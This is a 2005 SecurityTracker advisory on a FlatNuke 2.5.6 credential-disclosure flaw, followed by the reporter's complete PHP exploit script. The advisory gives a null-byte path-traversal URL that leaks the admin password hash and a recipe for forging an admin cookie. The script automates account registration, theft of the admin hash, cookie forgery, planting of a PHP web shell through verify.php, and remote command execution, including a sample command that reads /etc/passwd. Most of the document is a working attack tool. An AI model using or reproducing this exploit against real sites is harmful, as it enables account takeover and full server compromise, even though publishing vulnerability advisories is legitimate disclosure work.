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FlatNuke 'read' Module Discloses Authentication Credentials to Remote Users
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SecurityTracker Alert ID: 1015339
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SecurityTracker URL: http://securitytracker.com/id?1015339
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Dec 11 2005
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Impact: Disclosure of authentication information, User access via network
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Exploit Included: Yes
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Version(s): 2.5.6
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Description: A vulnerability was reported in FlatNuke. A remote user can obtain a target user's authentication credentials.
The 'read' module does not properly validate user-supplied input in the 'id' parameter. If magic_quotes_gpc is enabled, a remote
user can supply a specially crafted URL to obtain a target user's hashed password. A demonstration exploit URL is provided:
http://[target]/[path]/?mod=read&id=../for
um/users/[adminname].php%00
With knowledge of the hashed password, a remote user can create a specially crafted cookie value
with the following format to gain access as the target user:
Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
With
administrative privileges, a user can edit arbitrary PHP files on the target system using the '/flatnuke/verify.php' script.
The
vendor was notified in August 2005.
rgod reported this vulnerability.
The original advisory is available at:
http://rgod.altervista.org/flatnuke256_xpl.html
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Impact: A remote user can obtain a target user's authentication credentials and then login as the target user.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.flatnuke.org/ (Links to External Site)
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Cause: Access control error, Input validation error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Reported By: retrogod@aliceposta.it
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Message History:
None.
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Source Message Contents
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Date: 10 Dec 2005 05:25:54 -0000
From: retrogod@aliceposta.it
Subject: Flatnuke 2.5.6 privilege escalation / remote commands execution
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<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140)
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
# Explaination: if magic_quotes_gpc you can have any admin/user MD5 password
# hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
# as admin, you can edit any php file on target system and insert a shell,
# example:
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
# now you launch commands:
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit ***
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-
1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="
Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">
a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td wid
th="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><
p><input
type="text" name="host"> <span class="Stile5">* hostname (ex
:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span
class="Stile5">* path (ex:
/flatnuke/ or just / ) </span></p><p><input type="text" name="co
mmand"> <span
class="Stile5"> * specify a command </span> </p> <p> <inpu
t type="text"
name="port"> <span class="Stile5">specify a port other than 80 (
default
value )</span> </p> <p> <input type="text" name="proxy"><
span class="Stile5">
send exploit through an HTTP proxy (ip:port) </span></p><p><input type="su
bmit"
name="Submit" value="go!"></p></form> </td></tr></t
able></body></html>';
function show($headeri)
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<
br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."
...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result."
) " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
function sendpacketii($packet)
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
function make_seed()
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!
'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
srand(make_seed());
$v = rand(1,9999);
$username="SUNTZU".$v;
echo '<br>Your username: '.htmlentities($username);
#STEP 1 -> Register...
$data="op=reg&nome=".$username;
$data.="®pass=jimihendrix";
$data.="&reregpass=jimihendrix";
$data.="&anag=jimihendrix";
$data.="&email=fake@fakemail.fke";
$data.="&homep=".urlencode('http://www.asite.com');
$data.="&prof=PUNK";
$data.="&prov=whereimfrom";
$data.="&ava=clanbomber.png";
$data.="&url_avatar=";
$data.="&firma=";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 2 -> Login... (you cannot see memberlist if you are note registered...)
$data="op=login&nome=".$username."&logpassword=jimihendrix";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
#STEP 3 -> Retrieve admin name from memberlist
for ($i=1; $i<=100; $i++)
{
$packet="GET ".$path."forum/index.php?op=members&page=".$i." HTT
P/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi('class=normal>10',$html)) {echo "trovato...".$i; break; }
}
$temp=explode("class=normal>10",$html);
$temp2=explode("user=",$temp[0]);
$temp=explode(">",$temp2[count($temp2)-1]);
$ADMIN=$temp[0];
echo '<br>Admin: '.htmlentities($ADMIN);
#STEP 4 -> Retrieve admin MD5 password hash...
$packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00
HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_g
pc on here...");}
$temp=explode("<?".chr(0x0a)."#",$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH=$temp2[0];
echo '<br>Admin md5 password hash: '.htmlentities($HASH);
# Now build new admin cookie...
$SECID=md5($ADMIN.$HASH);
$COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);
#STEP 5 -> Edit some file... example: my profile ;)
$COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail
.fke\n#http://www.asite.com\n";
$COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10
to new user
//edit this, if system() is disabled you may try passtrhu(),exec() or backticks...
//we also see phpinfo()
$SHELL.=$COMPTEMPT."<?php echo \"Hi Master\";error_reporting(0);ini_set(\"
max_execution_time\",0); phpinfo(); system(\$HTTP_GET_VARS[cmd]);?>";
$SHELL=urlencode($SHELL);
$data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2
f".$username.".php";
$packet="POST ".$path."verify.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 6 -> Launch commands...
$packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode
($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as adm
in with<br>";
echo "username: ".$username."<br>";
echo "password: jimihendrix<br>";
}
else {echo "Exploit failed...";}
else {echo "Fill * required fields, optionally specify a proxy..."; }
?>
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